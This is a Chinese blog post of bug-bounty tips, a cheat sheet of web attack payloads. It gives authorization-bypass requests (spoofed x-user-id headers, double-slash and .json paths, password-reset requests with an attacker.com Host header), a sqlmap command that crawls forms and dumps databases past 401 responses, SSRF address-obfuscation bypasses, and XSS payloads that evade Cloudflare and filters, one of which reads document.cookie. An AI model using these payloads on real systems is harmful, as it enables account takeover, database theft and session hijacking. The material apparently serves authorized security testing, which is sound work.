【SRC技巧】优雅地进行权限越权测试

1.利用 x-user-id

正常访问: GET /api/users/1337  –>401客户端错误
越权访问: GET /api/users/ x-user-id: 1337  –>200 Ok
利用方式: POST /api/users/自己id值/password-reset x-user-id: 别人id值
password-reset: 密码重置
原理: x-user-id可以让服务器读取这个特定的标头的值,由此使用内部变量来进行身份验证从而达到越权效果

2.id后面加.json

request:
GET /api/users/1337.json
response:
200 success

3.url加双斜杠

正常访问: /api/6798556007/users –> 403
越权访问: /api/6798556007//users –> 200 OK

4.请求包加https

正常访问:
Request:
POST /user/password-reset/ HTTP 1.1
Host :http://attacker.com
Response:
403 , 404 : False
越权访问:
Request:
POST /http://user/password-reset/ HTTP 1.1
Host :http://attacker.com

Response:
200 , 302 : Success
password-reset: 密码重置

5.构造新的url

正常访问: Target/signup.php  –> 401客户端错误
越权访问: Target/index.php?page=signup  –> 200 OK

SQL注入

sqlmap -u http://xxxx.com --forms --crawl=2 --dbs --ignore-code=401

--forms  在目标URL上解析和测试表单
--crawl=2 从起始位置爬取的深度,这里为2
--dbs  获取数据库
--ignore-code=401 无视http状态码,这里无视401状态

原理: 当我们正常访问页面状态码提示401的时候只是说明没有访问权限而不是404不存在页面,所以此时我们可以使用sqlmap的爬虫功能爬出来这个页面上的表单进行注入测试

SSRF绕过

http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01

XSS绕过cloudflare

Payload:

<svg onload=alert&#0000000040document.cookie)>

XSS绕过过滤

Payload:

"/><svg+svg+svg//On+OnLoAd=confirm(1)>

XSS(上传图片)

<img src=x onerror=alert('XSS')>.png ">
<svg onmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png

遇到可以上传图片并且可以自定义文件名的时候可以试试,这样上传以后当我们访问这个图片的时候有可能就会触发xss了

原文地址:http://www.yuque.com/besilent/null/rhzaz3s7f5yyz3ui

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容